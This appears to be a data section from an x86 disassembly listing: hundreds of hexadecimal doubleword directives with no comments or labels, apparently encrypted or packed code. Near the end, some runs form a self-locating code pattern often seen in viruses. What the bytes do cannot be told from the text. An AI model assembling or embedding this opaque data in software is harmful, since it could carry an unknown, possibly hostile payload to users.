		dd 0A06533D9h, 5A51ECD6h, 19349h, 0EA3F8100h, 5E43F2A1h
		dd 0C77978Ah, 0DF443B12h, 2445B80Bh, 75F49B4h, 23DB75FBh
		dd 4FA791DFh, 7BD3BDB3h, 0A800EA88h, 0E12C165Ah, 41455E51h
		dd 946E4437h, 0F7EC493Eh, 68D32899h, 0DBEFBD57h, 0F5D91188h
		dd 9Bh,	73C2B766h, 442899ECh, 568AE2D9h, 11FB5F88h, 0F0497F76h
		dd 7B49F8A7h, 0AC04EE6Ch, 942F1955h, 0AE278C83h, 515D9083h
		dd 225237E6h, 798007F1h, 0D756B0A7h, 0A26E945Eh, 72676F95h
		dd 0A26E93C3h, 8E7889F4h, 0BBA5CD36h, 94A88D82h, 0A40FA26Eh
		dd 6C857802h, 0EB5C41CAh, 0C315521Ah, 0DED1F1E8h, 0C7A95927h
		dd 0F8419AD0h, 35CC9A49h, 0F8DD4239h, 0BFDD904Fh, 2CD7A554h
		dd 0AC3DBD72h, 2637AE7Ah, 59AF6E41h, 251CD4EFh,	33B4821Bh
		dd 28C1C353h, 5D6EB03Bh, 0B23466h, 56720000h, 4815DF71h
		dd 0B2A94800h, 2FDE277Ch, 459A683Ah, 43EA2924h,	0E9C216BFh
		dd 30887283h, 4C049ED2h, 3D0BBAB6h, 29C4AEC8h, 22B0857Ah
		dd 9C07289Ah, 0F4CC4BA5h, 0F6289A21h, 0EEBC7366h, 2C6A61F9h
		dd 50009AD6h, 3503B2FBh, 0F0BDA2CCh, 85F4CFF7h,	0FEADCCC3h
		dd 86DB5A4Fh, 71DC2899h, 1B1260A3h, 6CD7DAB6h, 81309B2Ah
		dd 3A2452B3h, 0F64EA89Fh, 775BA70Ch, 7738B382h,	88990422h
		dd 8F2039Eh, 351F53B0h,	588F26DDh, 6C7D1802h, 0F1E4FE82h
		dd 37F0453Ah, 5CC72277h, 6A38514Bh, 53EED898h, 7B493C5Ch
		dd 392EDD26h, 244A8857h, 4113AD18h, 0F2A1EA3Fh,	42CD93FDh
		dd 7F69D424h, 0FB95DB27h, 0C7B1BF43h, 5CE09948h, 0EDE0821Fh
		dd 0A3928736h, 485FDD5Fh, 4BB6B8BCh, 84EC1654h,	0A0D032EAh
		dd 0D0A85EB6h, 788EE6h,	2E46BE16h, 0B3A6C044h, 9386A09Ah
		dd 912B45BDh, 984729D9h, 443B3BCAh, 1A9EEAh, 66150000h
		dd 0DD5EC471h, 0FDF2FB5Fh, 5FDD5F38h, 0C03147Fh, 410F2EB4h
		dd 5FB7AEC0h, 0C1ABB137h, 0EDD79969h, 1E085295h, 4D373FC6h
		dd 7B650FF5h, 0A993E123h, 0D9C3B551h, 6F08281h,	311B53AEh
		dd 0E7895716h, 4C781h, 0EF830000h, 243C8704h, 2404895Ch
		dd 81E78957h, 4C7h, 4EF8300h, 5C243C87h, 68243489h, 0DDCh
		dd 0BE240489h, 254045B2h, 6C1BBD55h, 0EE01E0EDh, 48B545Dh
		dd 4C48124h, 57000000h,	242C8156h, 338170FEh, 0FEC7815Fh
		dd 89338170h, 0FF5F0878h, 83582434h, 34FF04C4h,	0C4815E24h
		dd 4, 0FCC715E9h, 0FF1914FFh, 0FD5FD63h, 0A4BD1B2Bh, 0B8597F66h
		dd 62DB6A5h, 0E0FFC503h, 0D45FAAAh, 7DEBEB1Ch, 786A4A9h
		dd 32F35BCFh, 6B2FC385h, 7EE952FAh, 52DF7295h, 1590E53Dh
		dd 470F6CBCh, 3808469h,	154162B6h, 3320D04Bh, 6A2997ADh
		dd 771A8EAEh, 2F5261E2h, 7D7AE679h, 73562F2Bh, 42F5875Dh
		dd 31FDFEFh, 4D689B3Dh,	148E9h,	5000h, 5400h, 5800h, 5C00h
		dd 6000h, 6400h, 6800h,	6C00h, 0B000h, 0B400h, 0B800h
		dd 0BC00h, 0C000h, 0C400h, 0C800h, 0CC00h, 0D000h, 0D400h
		dd 0D800h, 0DC00h, 0E000h, 0E400h, 0E800h, 0EC00h, 38h dup(0)
		dd 58755500h, 0A150EB00h, 81858D00h, 0BF062DB7h, 196F8B59h
		dd 0B8C18589h, 8D8B062Dh, 62A2C45h, 27C985C6h, 8B54062Ah
		dd 2A1951BDh, 5DE56806h, 0E960CE1Bh, 13h, 831ABDC9h, 0E43CE3FAh
		dd 0B8CDF19Eh, 53755C4Eh, 509FF369h, 860F52h, 0F000000h
		dd 0C78B6631h, 8161585Ah, 35CC2434h, 0B58B2079h, 62A1339h
		dd 22C9B5FFh, 6652062Ah, 8A94C781h, 0A9858D5Bh,	0F062D81h
		dd 681h, 35953100h, 0FF062A1Bh,	8903B3D0h, 2DB8C585h, 8D8D2906h
		dd 0E9062A05h, 45h, 0F3B6B953h,	0F5B605Eh, 8B56F7BFh, 2DB8C1B5h
		dd 83068906h, 2DB8C185h, 0C35E0406h, 81B58D60h,	0EB062DB7h
		dd 6A560Fh, 95FF36FFh, 62DB8C5h, 4C6835Eh, 75003E83h, 66C361ECh
		dd 9598F381h, 1EB9B2BEh, 78858D53h, 66062DB9h, 8589F88Bh
		dd 62A2395h, 39EBh, 2CC00C1h, 2E400C1h,	0C1h, 0F9060000h
		dd 0F57E47FCh, 0FDF576E5h, 0F93922F4h, 0BE4A4FFFh, 90FF4EF5h
		dd 0DC8D76DFh, 0E4AA22DDh, 0FE1752DEh, 0F54B4AC5h, 0F09C46F0h
		dd 0BBC3A718h, 50AC24BBh, 2D10D01Ah, 96E306C0h,	13ED5791h
		dd 0BA58AB2Ch, 894D2297h, 501771C1h, 904A9B29h,	19A2AB91h
		dd 1D9508B6h, 0BC724B0Ch, 0CB37DD97h, 19CFA1C9h, 903F08BBh
		dd 0C3CC35E5h, 904A9B29h, 19A2AB91h, 1D9508B6h,	0BC717A0Ch
		dd 0CB37DD97h, 0C77248C9h, 90392179h, 53C30291h, 0B432ABCEh
		dd 0B463A395h, 90933795h, 539E6591h, 0C255FD16h, 1B82A9F7h
		dd 588E2D51h, 0B755A757h, 9F1824BBh, 364FE82Eh,	9FD41C89h
		dd 90C9271Ch, 1B827191h, 94F37D68h, 0FAA68EB5h,	0C09C48C4h
		dd 904E2179h, 537F0291h, 0B4D7ABC9h, 0B48DA395h, 90E43895h
		dd 53226291h, 84DF5F7Dh, 9FBE72C8h, 904E2410h, 159AAB91h
		dd 6F9508BAh, 0BAEBEB24h, 0C3E44897h, 90722179h, 53620291h
		dd 0B4C0ABCAh, 0B40AA395h, 90273A95h, 53C06191h, 5D2BD8B1h
		dd 0C171ABBAh, 9F7408A1h, 15B4F42Eh, 96B1A338h,	9FA7F26Eh
		dd 7D272291h, 0B445963Eh, 2242A7C7h, 0FE0B1A17h, 9418CC64h
		dd 786C22FBh, 909C2292h, 0CD8D7FB1h, 94034E18h,	94B76610h
		dd 90C92289h, 762777D4h, 8E4B8430h, 59659CF7h, 0B29D971Ah
		dd 312624BBh, 0F0F72397h, 11F2C526h, 99960695h,	908E0D6Eh
		dd 9071CAC3h, 0CA192291h, 0C4157852h, 0D4CF26B5h, 903A26B5h
		dd 0C2D12291h, 0D5326852h, 0EF62B164h, 0C2C7A428h, 87989F1Ah
		dd 0B9C324BBh, 0BA663F04h, 133C4A97h, 0F0C39E77h, 0CAA878C0h
		dd 41C02610h, 0F6313BEEh, 0C135C510h, 90F622FBh, 904DCAC7h
		dd 0CE072291h, 0E41A7C52h, 0D44826B5h, 90FC26B5h, 0C6342291h
		dd 45D79352h, 9675AA63h, 164E2291h, 0A3BECC1Ch,	9143DD11h
		dd 0BAE23F04h, 2261AB97h, 0F6740F28h, 19EA5D2Bh, 0BA9AE314h
		dd 95B6A997h, 9027205Dh, 2925A718h, 504A24BCh, 2A61AB89h
		dd 0A3740F28h, 92D59B51h, 3A6F2291h, 781B22FBh,	90272292h
		dd 0CD507FB1h, 94ED4E18h, 94C06610h, 9072228Dh,	0EBFA77D4h
		dd 0B864712h, 770FFE01h, 959EB71Ah, 90F924BBh, 90CACAC4h
		dd 0CDC42291h, 0FCFB7F52h, 0D4B826B5h, 908826B5h, 0C50B2291h
		dd 99CE1952h, 0DD932291h, 0F69000CDh, 54FE064Bh, 8A5FAF90h
		dd 15FF24BBh, 96B60558h, 94C92DD2h, 0F6272291h,	7880A72Bh
		dd 90C92295h, 0C8349CFh, 9F2072C1h, 90392415h, 90172D91h
		dd 9F4E2291h, 0CA1093A0h, 0B4D7A9C9h, 46C79D95h, 906F12F3h
		dd 9067A49Eh, 9FD12291h, 0B09C2291h, 948572E9h,	4AC252B7h
		dd 0CEF24BF0h, 1993ED5Ch, 0C8E006D5h, 782222FBh, 90392292h
		dd 0C85F7AB1h, 946A6618h, 94036610h, 9093228Dh,	120A72D1h
		dd 0CBDA39C7h, 2D9707BEh, 0B2F0976Eh, 5B1724BBh, 11E7A71Ch
		dd 904D24BCh, 9090CAC3h, 0CAE92291h, 0C46D7852h, 0D4F326B5h
		dd 902426B5h, 0C2DE2291h, 0F700A752h, 13A17DD9h, 917C9B97h
		dd 0BADE6B14h, 1B34DD97h, 0BA6B0B2Ch, 99BCAB97h, 9F9A089Eh
		dd 652EF42Eh, 0BC3EBF98h, 1DF224BBh, 0BAE0E314h, 0AC3EA397h
		dd 1979B908h, 0BA2B5714h, 0C29C4897h, 904E2179h, 537D0291h
		dd 0B4C7ABCBh, 0B48DA395h, 90E43495h, 53206091h, 0F6E0FCE6h
		dd 155ADB1Ah, 96640558h, 0C22748C2h, 90932179h,	53930291h
		dd 0B4B0ABCBh, 0B436A395h, 90393795h, 53CE6091h, 15C705E6h
		dd 960D01D4h, 55FBCE1Bh, 0F618C908h, 0A465F31Ah, 0CAA33FB5h
		dd 0C63948BCh, 909C2179h, 53100291h, 0B453ABCFh, 0B4D7A395h
		dd 90C93E95h, 53B26491h, 11EE8B1Ah, 43BA8BD9h, 210923FDh
		dd 6F4808BCh, 0BA05EB24h, 0C3934897h, 90C92179h, 53BF0291h
		dd 0B42EABCAh, 0B47DA395h, 909C3995h, 531D6191h, 0E0BB18Ah
		dd 13899F58h, 0A3B8B718h, 156924BBh, 965FA338h,	786922FBh
		dd 909C2292h, 0C88D7AB1h, 94036618h, 94B76610h,	90C92284h
		dd 662772D1h, 67F944B7h, 1DB2F26Eh, 96B629A0h, 0A477A718h
		dd 904D24BBh, 9090CAC6h, 0CFE92291h, 0EC6D7D52h, 0D4F326B5h
		dd 902E26B5h, 0C7DB2291h, 246D6D52h, 59A2E4ABh,	0C39508B6h
		dd 789C22FBh, 90E42292h, 0CDB17FB1h, 941D4E18h,	94B86610h
		dd 904E228Ch, 0C5E477D4h, 0B454351Dh, 58FAE3A0h, 903B4ADBh
		dd 9F25EB86h, 9039261Eh, 99234491h, 0A4CF7C62h,	9FE34EB5h
		dd 0B552A280h, 0B200976Eh, 2D6F24BBh, 96582D9Ch, 1190A71Ch
		dd 159324BCh, 904E2290h, 1BF7DD6Dh, 0DD16AB6Fh,	68CF0887h
		dd 0B72DA757h, 0FA3524BBh, 93D17791h, 0B09C2291h, 1913E1CCh
		dd 112306FDh, 879706D5h, 0D5C92291h, 2208E1C4h,	19125220h
		dd 0BA363304h, 0B5292397h, 0F14808A5h, 35D1A3F7h, 9097CA96h
		dd 4D602291h, 626F954Fh, 69C142C1h, 1B58DC1Ah, 0C69806D5h
		dd 9F4EA9CFh, 9027241Dh, 29F57191h, 199063B9h, 2AE006D5h
		dd 0AE76E32Eh, 69AC09C9h, 6F9A0888h, 0BA6CEB24h, 0C6274897h
		dd 90932179h, 53970291h, 0B490ABCFh, 0B436A395h, 90393495h
		dd 53CA6491h, 79A25644h, 9027229Ah, 1A63818Ch, 0F505881Ch
		dd 9F2DC65Ch, 90722715h, 71B84491h, 1511E2C0h, 9663A338h
		dd 8FC69F1Ah, 406C24BBh, 913F959Eh, 0BAFD3B04h,	71F7AB97h
		dd 113F08B4h, 837EC56h,	59CBE4CDh, 0D72108B6h, 99329F18h
		dd 2A124BBh, 78DC4A60h,	9072229Ah, 0F46EA939h, 0A868A2C8h
		dd 0CA219D4Ch, 78032610h, 0FADA518Fh, 93217191h, 0B0E42291h
		dd 1929E1CAh, 113D06CDh, 869806D5h, 0D34E2291h,	864E1C2h
		dd 0B50EAB39h, 6FCF08B7h, 0BAC6EB24h, 0C2724897h, 90392179h
		dd 53C60291h, 0B41AABCBh, 0B463A395h, 90933895h, 539B6091h
		dd 0FA6EC598h, 793503DAh, 9039229Dh, 4E1B1238h,	3F61AB8h
		dd 0DF9314Ah, 93CA9718h, 154424BBh, 96C9A338h, 782222FBh
		dd 90392292h, 0C85F7AB1h, 946A6618h, 94036610h,	9093228Ah
		dd 0F70A72D1h, 39F9660Eh, 682B21DFh, 295FF26Eh,	2DAF529Ch
		dd 96643374h, 0B456A718h, 90F924BBh, 90CACAC2h,	0CBC42291h
		dd 0CCFB7952h, 0D4B826B5h, 908026B5h, 0C30D2291h, 8390FF52h
		dd 0C4D16FABh, 150FECEDh, 96CE0558h, 0C67248D6h, 90392179h
		dd 53C20291h, 0B43AABCFh, 0B463A395h, 90933E95h, 539F6491h
		dd 4053863Dh, 32A59992h, 4DD34A70h, 9FCC8B57h, 904E2119h
		dd 41AC4491h, 0B497A3C8h, 91CF7CE2h, 5951DD69h,	797408B3h
		dd 9039229Eh, 0AA67D315h, 11FC3E74h, 0F720EF17h, 1D67D92Ah
		dd 0BD488B14h, 3551A997h
		dd 6F7408B7h, 0D6769B41h, 15155ADCh, 96640904h,	787222FBh
		dd 90932292h, 0CD0A7FB1h, 94C04E18h, 94566610h,	90392288h
		dd 0EE5F77D4h, 0E028BDE8h, 0D992AB34h, 6F950896h, 0C3C94841h
		dd 90E42179h, 53290291h, 0B465ABCAh, 0B4D8A395h, 904E3E95h
		dd 53746191h, 26E21995h, 448BEFB2h, 1DEBDEDFh, 90722297h
		dd 0BA6CB71Ah, 151524BBh, 9664264Ch, 0F6F79D9Eh, 977AFA1Dh
		dd 0DFC92291h, 8C9FBBB7h, 25F9B019h, 96132904h,	90F626B5h
		dd 904DCAC0h, 0C9072291h, 0DC1A7B52h, 0D44826B5h, 90F026B5h
		dd 0C1332291h, 1B5F3C52h, 41174441h, 1441E29Bh,	9027204Dh
		dd 78C222FBh, 90C92292h, 0C9277BB1h, 94566E18h,	941D6610h
		dd 909C2287h, 308D73D0h, 1B71DCCFh, 0BA96772Ch,	5E427D97h
		dd 0B72DA757h, 0C13D24BBh, 0C1059BF7h, 575F4ACFh, 94CF8832h
		dd 4C8223B5h, 3926AB85h, 6FCF08B6h, 0BAC6EB24h,	1D609797h
		dd 0BDB88B14h, 0C69C4897h, 904E2179h, 53790291h, 0B4E7ABCFh
		dd 0B48DA395h, 90E43995h, 53246491h, 22CED533h,	48DBBBCBh
		dd 6BC5FE23h, 904DF26Eh, 9090CAC2h, 0CBE92291h,	0CC6D7952h
		dd 0D4F326B5h, 902F26B5h, 0C3DF2291h, 30095352h, 7803E212h
		dd 9093229Fh, 0BAB572A2h, 0E72C3427h, 6C23CF3Dh, 9ED02395h
		dd 879C2291h, 23C82D6Bh, 0C6DE76C4h, 0DE9C1051h, 15407D18h
		dd 96CE0910h, 782022FBh, 90392292h, 0CA5F78B1h,	946A7618h
		dd 94036610h, 90932286h, 190A70D3h, 1B1B7801h, 0BA76FF14h
		dd 0B9EBA397h, 1BA668FFh, 0BA65B70Ch, 902BCA97h, 63D92291h
		dd 0AC1B4F27h, 352A3054h, 0BBC40951h, 295961CEh, 9A682F6Dh
		dd 0F13CFD11h, 1DAC391Ah, 96B93B50h, 90A3391Ah,	90E7CAC4h
		dd 0CD522291h, 0FCB07F52h, 0D41D26B5h, 905826B5h, 0C5622291h
		dd 116ED552h, 8308971Ah, 8B6F24BBh, 90723679h, 0FC508091h
		dd 0D7624B05h, 0BF4E2136h, 0D9BE56E1h, 0AC679614h, 48FA7816h
		dd 5165EA1Ah, 0DA45BED1h, 95C0BF18h, 90F624BBh,	904DCAC3h
		dd 0CA072291h, 0C41A7852h, 0D44826B5h, 90FE26B5h, 0C2302291h
		dd 0EB987752h, 53D24BD5h, 9DC02DC3h, 79272291h,	90932299h
		dd 1825A9CEh, 0A352A3D3h, 59F7E4CFh, 0D73F08B6h, 78CD22FBh
		dd 904E2292h, 0C9E47BB1h, 94B76E18h, 94ED6610h,	90E4228Ah
		dd 3CB173D0h, 0C0D9FAF2h, 2E7ACA12h, 0AEF218DAh, 90272679h
		dd 4E4E8B91h, 88764426h, 0D46F72C1h, 959B26B5h,	2B392291h
		dd 0A76EC843h, 9EA7221Ah, 0F4272291h, 428A33AAh, 97B074A1h
		dd 25FCBA02h, 0B436AB11h, 0C8989395h, 78CE22FBh, 904E2292h
		dd 0CAE478B1h, 94B77618h, 94ED6610h, 90E4228Dh,	0A2B170D3h
		dd 4CE38C44h, 83F70262h, 0B287976Eh, 904D24BBh,	9090CAC1h
		dd 0C8E92291h, 0D46D7A52h, 0D4F326B5h, 902126B5h, 0C0DC2291h
		dd 0EAC8F652h, 1DD2ECC8h, 0BD128B14h, 0F630A997h, 6F3B4828h
		dd 0A5C70941h, 193F088Ah, 0BAB9C314h, 15677197h, 960D0528h
		dd 51A62CBh, 96E32D28h,	5C7221Ah, 96582404h, 9053221Ah
		dd 909FCAC6h, 0CF6E2291h, 0ECAE7D52h, 0D41226B5h, 90D226B5h
		dd 0C7A32291h, 4F31252h, 0B35D33FDh, 3111AB2Ah,	194808B5h
		dd 0BA322B14h, 9095CB97h, 0BAB62291h, 83C6BCE6h, 90737678h
		dd 15B09891h, 25157013h, 966425ECh, 29FFA71Ch, 0BD2124BCh
		dd 0C027A801h, 35A9F7h,	6F86C311h, 0BA2FCB04h, 0C79C4897h
		dd 904E2179h, 53780291h, 0B4EFABCEh, 0B48DA395h, 90E43795h
		dd 53256591h, 1DB2119Bh, 96B622DCh, 9046A49Eh, 9F712291h
		dd 90932213h, 0D447C91h, 96C99B4Fh, 782122FBh, 90392292h
		dd 0CB5F79B1h, 946A7E18h, 94036610h, 90932287h,	0A60A71D2h
		dd 797735C0h, 90722282h, 9344C1E0h, 0F2856307h,	6684888Ah
		dd 1F30060Ch, 0C0F1A01Bh, 0C0C94802h, 90E42179h, 532A0291h
		dd 0B47DABC9h, 0B4D8A395h, 904E3B95h, 53776291h, 0D1044DFFh
		dd 1D426C99h, 96CE063Ch, 9F207201h, 9DD142A0h, 9F9C2291h
		dd 0DDC49285h, 5BFA483h, 0A54EFC42h, 127144CBh,	0C8BE43C2h
		dd 63F972C1h, 9053B2CBh, 909FCAC3h, 0CA6E2291h,	0C4AE7852h
		dd 0D41226B5h, 90D326B5h, 0C2A62291h, 0FFF30F52h, 4CAB0811h
		dd 95C5AF1Ah, 5B124BBh,	960D2BBCh, 90933278h, 0D8004191h
		dd 59F1FB70h, 58ED19ABh, 0BFB74627h, 0D7109BCFh, 15C73F8Ch
		dd 960D0910h, 78C422FBh, 90C92292h, 0CF277DB1h,	94565E18h
		dd 941D6610h, 909C228Ch, 0D8D75D6h, 9D689D6Ch, 29F2A87Dh
		dd 594CE491h, 0C3E208B6h, 782022FBh, 90392292h,	0CA5F78B1h
		dd 946A7618h, 94036610h, 9093228Bh, 0FE0A70D3h,	4B16247Bh
		dd 9B9B8F81h, 2B392291h, 0A7EE71D9h, 642BBF80h,	94CF729Eh
		dd 0EF932291h, 0F663A515h, 0C0FE2328h, 9B9A72F1h, 0BB392291h
		dd 69CA92E1h, 3F4295A1h, 0CA787CACh, 0B4D7A9F0h, 1B37A995h
		dd 0EF557591h, 0B436ABCFh, 0DB8E4295h, 0F152A9F7h, 0C24E48C9h
		dd 90272179h, 53C90291h, 0B49DABCBh, 0B4A0A395h, 90723795h
		dd 536B6091h, 4017F957h, 0B287976Eh, 83CF24BBh,	6C932291h
		dd 0DBE23DFAh, 0C1468591h, 0E648F0FAh, 763FC46Eh, 597AE7Eh
		dd 96640EC8h, 39A2AFCBh, 0B9950F10h, 0BAFB1F0Ch, 755D4497h
		dd 0FAA2DD9Dh, 93D17291h, 0B09C2291h, 1916E1C9h, 112306D5h
		dd 8B9706D5h, 0D0C92291h, 0E65DE1C1h, 0F2BFE16Dh, 19C10216h
		dd 0BA8F7F14h, 905CCB97h, 85BB2291h, 7BF08FAFh,	9AFF954Bh
		dd 38C1EA55h, 9492AEA1h, 0B7F0A757h, 29DB24BBh,	0ADBA74EEh
		dd 90272679h, 0E286B291h, 0C001A830h, 1B16A9F7h, 0C07606D5h
		dd 348744C1h, 1BC57B0Eh, 905ACA91h, 0B3182291h,	29702FB5h
		dd 7ACEA873h, 2EFFF444h, 98223D3Bh, 0C8625A6h, 0CAF697DBh
		dd 946A6618h, 9BA62DF1h, 79932291h, 90C92297h, 0B0414C0Eh
		dd 41F95F7Ch, 2DB07AF0h, 96B62FC0h, 80B3BF18h, 25D824BBh
		dd 96B90058h, 1544D027h, 96C9A338h, 782022FBh, 90392292h
		dd 0CA5F78B1h, 946A7618h, 94036610h, 90932284h,	900A70D3h
		dd 6E6F4404h, 9018F26Eh, 903ACAC1h, 0C8BC2291h,	0D4C77A52h
		dd 0D4A626B5h, 908A26B5h, 0C0892291h, 0A3146052h, 65C15A58h
		dd 8A00A718h, 566924BBh, 0BA69EB14h, 1DAE7197h,	96B90E5Ch
		dd 523B1CF9h, 0C2B47219h, 0A17D7CC7h, 11667ACBh, 0FDCE0695h
		dd 902432E7h, 9024CAC1h, 0C8B32291h, 0D4407A52h, 0D46526B5h
		dd 906426B5h, 0C0792291h, 92E71552h, 0A257B71Ah, 25D824BBh
		dd 96B90058h, 394CAF68h, 19E20F10h, 0BA42431Ch,	1BE9DD97h
		dd 0BA83BB24h, 51CBAB97h, 1B210894h, 0BA825704h, 594CE497h
		dd 0C7E208B6h, 782322FBh, 90392292h, 0C95F7BB1h, 946A6E18h
		dd 94036610h, 9093228Ch, 0D70A73D0h, 7BBBE157h,	80745AD7h
		dd 95ACA9FFh, 299A0891h, 0FEC8ADEBh, 0B316B9F9h, 9FC172DCh
		dd 0E77344A0h, 11BC780Ch, 0B0190695h, 90536070h, 909FCAC0h
		dd 0C96E2291h, 0DCAE7B52h, 0D41226B5h, 90DE26B5h, 0C1A52291h
		dd 10763F52h, 0D38DA38h, 96B62C68h, 0B287976Eh,	2D1424BBh
		dd 96B90A3Ch, 1160A71Ch, 908E24BCh, 9071CAC2h, 0CB192291h
		dd 0CC157952h, 0D4CF26B5h, 903126B5h, 0C3D02291h, 0D6347852h
		dd 0B6A5AFB2h, 408D24BBh, 19CBA9F7h, 0BABFAF14h, 0C34E4897h
		dd 90272179h, 53C80291h, 0B495ABCAh, 0B4A0A395h, 90723F95h
		dd 536A6191h, 6B20C50Ah, 9999AA56h, 15E1E6B3h, 96B90558h
		dd 0C6C948D2h, 90E42179h
		dd 532C0291h, 0B44DABCFh, 0B4D8A395h, 904E3695h, 53716491h
		dd 9097CAFFh, 0E0E12291h, 9F849E01h, 9072201Fh,	0F6FAA991h
		dd 0F1AAE62Ah, 1B9FA9C1h, 0F02306D5h, 0C73E93F1h, 0C29A43C9h
		dd 1B857DC8h, 0B436AB91h, 5A874495h, 27FC7A54h,	9043CBD8h
		dd 0FE382291h, 6778DCB4h, 7BBD157h, 0F1E314FBh,	59C7DD64h
		dd 0FA3F08B3h, 93747491h, 0B04E2291h, 1979E1CFh, 119706E5h
		dd 8BCD06D5h, 0D6E42291h, 4ABEE1C7h, 0F2E7FCF3h, 15118E6Bh
		dd 9663A338h, 787422FBh, 90932292h, 0CB0A79B1h,	94C07E18h
		dd 94566610h, 9039228Bh, 0D15F71D2h, 66CE693Ah,	97CF4FDAh
		dd 3A932291h, 0FF29FFFAh, 9FB58A38h, 0CF2BF326h, 15B0F26Eh
		dd 96B60850h, 822FA718h, 904D24BBh, 9090CAC7h, 0CEE92291h
		dd 0E46D7C52h, 0D4F326B5h, 902026B5h, 0C6DA2291h, 829A1452h
		dd 1B79EF76h, 0BA96DF24h, 5E4CAF97h, 0FAE20F28h, 939A7591h
		dd 0B0392291h, 19C3E1CEh, 114A06EDh, 8D2306D5h,	0D7932291h
		dd 6BFDE1C6h, 9397998Eh, 3918027Dh, 0B3B0971Ah,	290C24BBh
		dd 9136301Eh, 0E8429BC1h, 11032813h, 16CC054Bh,	7971DDE8h
		dd 0C6740887h, 0CEF69D9Eh, 521CFA1Ah, 52CBAFBAh, 0B9210F28h
		dd 0BA8AF724h, 2FAF7297h, 946DA43Dh, 24C844B5h,	1D36B16Bh
		dd 909C2294h, 0D06DB92Bh, 0B69972C8h, 387E904h,	789B22FBh
		dd 90E42292h, 0CAB178B1h, 941D7618h, 94B86610h,	904E228Ch
		dd 46E470D3h, 0ACDDFA00h, 0DDB370B0h, 90F4CA93h, 47BD2291h
		dd 2EAB8ED7h, 53E784D2h, 0E606AA53h, 1A28686Ch,	90932297h
		dd 0A40C9718h, 6FBA24BBh, 0BA7B0F04h, 0C3394897h, 909C2179h
		dd 53150291h, 0B47BABCAh, 0B4D7A395h, 90C93795h, 53B76191h
		dd 0F68E096Eh, 40DED310h, 88F1A718h, 6BFC24BBh,	0B4DAA756h
		dd 909C24BBh, 5362291h,	96CE3AFCh, 782122FBh, 90392292h
		dd 0CB5F79B1h, 946A7E18h, 94036610h, 90932287h,	0E30A71D2h
		dd 156D6825h, 96582E18h, 786A22FBh, 909C2292h, 0CB8D79B1h
		dd 94037E18h, 94B76610h, 90C92287h, 742771D2h, 0EFC4317Dh
		dd 9F30A71Ah, 0D1124BBh, 9663E9DFh, 1D266118h, 0BABAE32Ch
		dd 0B87CAF97h, 29E20F5Ah, 907222A2h, 0A3D28662h, 909C2229h
		dd 0E48E2991h, 903FE092h, 9CB7661Ah, 90C9CAC2h,	11BF2291h
		dd 90723552h, 0B465AB91h, 0B4D8AB81h, 0A7F67985h, 6F278331h
		dd 0B4D7A971h, 0FA29DD95h, 930C7591h, 0B0722291h, 1966E1CEh
		dd 119806EDh, 894A06D5h, 0D7272291h, 0D0F2E1C6h, 2556FC54h
		dd 8F65BF18h, 9F2024BBh, 1160D326h, 0D6890046h,	2DC343A5h
		dd 960A9B53h, 5B39AF1Ch, 0A57124BCh, 0A37C043Ah, 0BA7DBB14h
		dd 51F60997h, 18F02078h, 0BBBBC3A7h, 1A50AC24h,	0C02D10D0h
		dd 9196E306h, 2C13ED57h, 0E98358ABh, 8BA4F305h,	55006AD9h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 89743C53h, 2A0FC59Dh, 0EA816606h, 62E9D28Dh,	6A000000h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 0E938C350h, 14h, 79BF977Dh, 62FC872Eh, 0DF1CC020h
		dd 18DF5CD8h, 9ED49292h, 6AC3FC61h, 3E85600h, 20000000h
		dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 0BD99C356h
		dd 0CFA91CAAh, 0C6816085h, 4E269735h, 0FCC08B61h, 2451BD83h
		dd 7500062Ah, 89BD8309h, 62A2Ah, 53501974h, 0B9B8C08Bh
		dd 89000004h, 2A1A0185h, 0D09D8D06h, 0FF062CBBh, 83585BD3h
		dd 2A2A89BDh, 17740006h, 0B9B85350h, 89000004h,	2A1A0185h
		dd 719D8D06h, 0FF062CB8h, 6A585BD3h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1B042444h, 45000000h, 0DBE5C355h
		dd 74E24B7Dh, 0E9FCAC83h, 7, 0F0B42146h, 0E98E50F5h, 10h
		dd 0EE02D466h, 0F4216E0h, 0FF2EA1DEh, 51BCC56Eh, 800FC08Bh
		dd 1, 0C18B40F5h, 826AEE81h, 4EB0951h, 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 45C35545h
		dd 6A184759h, 20D698B1h, 0F1B58B34h, 8B062A0Bh,	2A0349BDh
		dd 11858D06h, 6A062A19h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 0A301C353h,	0CE85EB34h
		dd 24048950h, 0EA5B523h, 6A062Ah, 21E9B58Bh, 6A062Ah, 7C858DFCh
		dd 29062DCEh, 2A18B1B5h, 5C08306h, 2D99B58Bh, 0E950062Ah
		dd 0Fh,	72FCF771h, 0BBEB421Ah, 528FEF3Fh, 89ED27A8h, 6A2404h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 1B9590C3h, 0BD8B2977h, 62A060Dh, 10E9h, 0AC445000h
		dd 0B0CF308h, 80C98B2Ah, 1EC87784h, 18F0F7Fh, 0F9000000h
		dd 0B589006Ah, 62A2501h, 95FF006Ah, 62A1275h, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0D3C35242h, 0F2512D2h
		dd 680h, 89858900h, 8D062A03h, 2DB9669Dh, 56006A06h, 3E8h
		dd 0C35E2000h, 2474895Eh, 24448104h, 1C04h, 0C3564600h
		dd 65D40F38h, 0EE47BF45h, 0C54FBF93h, 0D3FF0652h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0C4C35646h, 0BD8BA750h
		dd 62A195Dh, 14C185FFh,	0B58B062Ah, 62A1809h, 70DE9h, 0E800h
		dd 815D0000h, 2DCE86EDh, 81F28B06h, 2A24FDBDh, 7D006h
		dd 5A860F00h, 8B000001h, 2A2C8D9Dh, 0CE806h, 0E3720000h
		dd 0B9CAB34h, 510C011Ah, 0AE8CCADh, 2B000000h, 0A49A1749h
		dd 5E96F615h, 0A18D8994h, 5F062A24h, 0FD85015Eh, 81062A28h
		dd 100E3h, 52006A00h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h
		dd 1404h, 0C3524200h, 0F38B6660h, 850FDB0Bh, 89h, 171DB58Bh
